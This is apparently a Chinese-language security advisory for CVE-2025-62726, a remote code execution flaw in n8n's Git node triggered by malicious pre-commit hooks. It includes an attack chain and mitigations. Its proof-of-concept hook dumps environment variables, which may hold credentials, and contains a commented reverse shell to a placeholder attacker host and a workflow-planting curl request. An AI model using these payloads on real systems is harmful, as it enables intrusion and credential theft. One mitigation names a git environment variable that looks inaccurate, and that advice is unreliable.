IPBUF安全漏洞报告
English
CVE-2025-62726 CVSS 8.8 高危

CVE-2025-62726: n8n Git节点远程代码执行漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2025-62726
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
n8n workflow automation platform

相关标签

远程代码执行n8nGit节点pre-commit钩子工作流自动化CVE-2025-62726

漏洞概述

n8n是一个开源的工作流自动化平台。在1.113.0版本之前,n8n的Git节点组件存在远程代码执行漏洞。该漏洞影响n8n的云版本和自托管版本。当恶意攻击者创建一个包含pre-commit钩子的恶意远程仓库,并诱导用户使用Git节点的Commit操作时,pre-commit钩子会被意外触发执行。这允许攻击者在n8n环境中执行任意代码,可能导致系统被完全 compromise,进而危及所有连接的凭证和工作流程。攻击者可以利用此漏洞窃取敏感信息、修改工作流程或横向移动到其他系统。该漏洞已在1.113.0版本中修复。

技术细节

该漏洞的根本原因在于n8n的Git节点在执行git commit操作时,没有对远程仓库中的pre-commit钩子进行安全过滤或禁用。当用户从恶意仓库执行commit操作时,Git会按照配置执行仓库中的pre-commit钩子脚本。攻击者可以在钩子中嵌入任意命令或脚本,这些代码将以n8n服务进程的权限执行。攻击者通常需要诱使受害者:(1) 克隆攻击者控制的恶意仓库;(2) 在Git节点中执行commit操作。由于Git的pre-commit钩子是Git的标准功能,n8n在执行git命令时默认会触发这些钩子,导致代码执行。修复方案是在执行git操作时设置GIT_HOOKS_PATH环境变量为空或使用--no-verify选项来跳过钩子执行。

攻击链分析

STEP 1
步骤1
攻击者创建一个包含恶意pre-commit钩子的Git仓库,在钩子中嵌入任意命令执行代码
STEP 2
步骤2
攻击者诱使受害者克隆该恶意仓库,可能通过社交工程或提供看似合法的项目
STEP 3
步骤3
受害者在n8n中配置Git节点,指向克隆的恶意仓库
STEP 4
步骤4
受害者在n8n Git节点中执行Commit操作
STEP 5
步骤5
Git执行pre-commit钩子,触发攻击者植入的恶意代码,在n8n环境中以服务权限执行
STEP 6
步骤6
攻击者实现代码执行,可窃取凭证、修改工作流或建立持久化访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Malicious pre-commit hook for CVE-2025-62726 # This PoC demonstrates the vulnerability in n8n Git Node #!/bin/bash # Place this file in .git/hooks/pre-commit of a malicious repository # When victim performs commit operation in n8n Git Node, this hook will be executed echo "Pre-commit hook triggered!" >> /tmp/pwned.log # Example: Exfiltrate environment variables (may contain credentials) env > /tmp/n8n_env_$(date +%s).log # Example: Execute reverse shell # bash -i >& /dev/tcp/attacker_ip/port 2>&1 & # Example: Modify n8n workflows # curl -X POST http://localhost:5678/rest/workflows -H "Content-Type: application/json" -d '{"name":"Malicious Workflow","nodes":[],"connections":{}}' echo "Compromised n8n environment via pre-commit hook"

影响范围

n8n < 1.113.0

防御指南

临时缓解措施
如果无法立即升级,可通过以下方式临时缓解:1) 在调用git命令时添加GIT_HOOKS_PATH=""环境变量;2) 修改n8n的Git节点源码,在执行commit前设置git config --local core.hooksPath "";3) 避免使用来源不明的Git仓库;4) 对Git节点操作实施额外的安全审计和监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表